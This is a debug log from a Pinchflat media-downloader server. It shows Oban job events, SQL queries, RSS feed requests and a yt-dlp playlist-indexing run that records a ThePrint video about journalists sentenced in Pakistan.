idle=95.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:35:22.064 [info] Sent 200 in 9ms 22:35:31.198 [info] {"source":"oban","duration":1679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.127 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 22:36:00.286 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:36:01.202 [info] {"source":"oban","duration":2021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:31.204 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.289 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:37:01.207 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:31.210 [info] {"source":"oban","duration":1823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.290 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:38:01.213 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:16.394 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:38:16.394 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:38:16.397 [debug] QUERY OK source="sources" db=2.2ms idle=1427.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:38:16.399 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1430.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:38:16.401 [debug] QUERY OK source="source_metadata" db=0.7ms idle=1433.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:38:16.403 [debug] QUERY OK source="media_metadata" db=1.1ms queue=0.1ms idle=843.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:38:16.403 [info] Sent 200 in 9ms 22:38:31.216 [info] {"source":"oban","duration":1795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.292 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:39:01.219 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:31.222 [info] {"source":"oban","duration":1829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.295 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:40:01.225 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:31.227 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:36.585 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 22:40:36.585 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 22:40:36.587 [debug] QUERY OK source="sources" db=1.0ms idle=1618.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 22:40:36.589 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=1620.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 22:40:36.590 [debug] QUERY OK source="source_metadata" db=0.5ms idle=1622.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 22:40:36.592 [debug] QUERY OK source="media_metadata" db=0.7ms idle=1455.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 22:40:36.593 [info] Sent 200 in 8ms 22:40:49.179 [info] {"args":{"id":1},"id":99,"meta":{},"system_time":1768084849178923300,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:40:49.181 [debug] QUERY OK source="sources" db=1.1ms idle=1212.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:40:49.183 [debug] QUERY OK source="settings" db=0.5ms queue=0.5ms idle=1214.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:49.184 [debug] QUERY OK source="media_items" db=1.4ms idle=1014.7ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:40:49.186 [debug] QUERY OK source="media_items" db=0.6ms idle=13.7ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:40:49.186 [debug] QUERY OK source="media_profiles" db=0.4ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:40:49.206 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=24.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:49.346 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 22:40:49.347 [debug] Current batch of media processed. Will check again in 1000ms 22:40:49.348 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=163.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:49.349 [debug] QUERY OK source="settings" db=0.9ms idle=163.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:49.350 [debug] QUERY OK source="settings" db=1.0ms idle=163.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:40:49.352 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/71/63/7163bf842ce5157d22b44f1c124f0ba87cbfe940968130f6c69be389a745b77c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:40:50.348 [debug] Current batch of media processed. Will check again in 1000ms 22:40:51.349 [debug] Current batch of media processed. Will check again in 1000ms 22:40:52.350 [debug] Current batch of media processed. Will check again in 1000ms 22:40:53.351 [debug] Current batch of media processed. Will check again in 1000ms 22:40:54.353 [debug] Current batch of media processed. Will check again in 1000ms 22:40:55.355 [debug] Current batch of media processed. Will check again in 1000ms 22:40:56.358 [debug] Current batch of media processed. Will check again in 1000ms 22:40:57.359 [debug] Current batch of media processed. Will check again in 1000ms 22:40:58.360 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 22:40:58.403 [debug] QUERY OK source="sources" db=41.7ms queue=0.1ms idle=1393.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:40:58.406 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1437.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:40:58.483 [debug] QUERY OK source="media_items" db=76.7ms idle=1438.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 22:40:58.515 [debug] QUERY OK source="media_items" db=28.7ms queue=0.1ms idle=1180.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "e7c10242-3fda-486e-bab4-083772ad9fbf", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 22:40:58Z], ~U[2026-01-10 22:40:58Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 22:40:58.517 [debug] QUERY OK source="sources" db=1.1ms queue=0.3ms idle=168.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:40:58.542 [debug] QUERY OK source="media_profiles" db=24.2ms queue=0.1ms idle=114.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:40:58.544 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=137.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 22:40:58.544 [debug] Current batch of media processed. Will check again in 1000ms 22:40:59.545 [debug] Current batch of media processed. Will check again in 1000ms 22:41:00.163 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 22:41:00.297 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:41:00.547 [debug] Current batch of media processed. Will check again in 1000ms 22:41:01.257 [info] {"source":"oban","duration":28549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:01.552 [debug] Current batch of media processed. Will check again in 1000ms 22:41:02.555 [debug] Current batch of media processed. Will check again in 1000ms 22:41:03.558 [debug] Current batch of media processed. Will check again in 1000ms 22:41:04.055 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/71/63/7163bf842ce5157d22b44f1c124f0ba87cbfe940968130f6c69be389a745b77c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:41:04.057 [debug] Gracefully stopping file follower 22:41:04.058 [debug] QUERY OK source="sources" db=1.2ms queue=0.2ms idle=1082.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:41:04.060 [debug] QUERY OK source="sources" db=0.9ms idle=662.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:41:04.062 [debug] QUERY OK source="media_items" db=1.9ms idle=86.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 22:41:04.352 [debug] QUERY OK source="media_items" db=288.4ms idle=88.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "0970adea-78c1-4d8e-bbd6-8035425d8f0e", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 22:41:04Z], ~U[2026-01-10 22:41:04Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 22:41:04.356 [debug] QUERY OK source="sources" db=3.4ms queue=0.2ms idle=378.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" 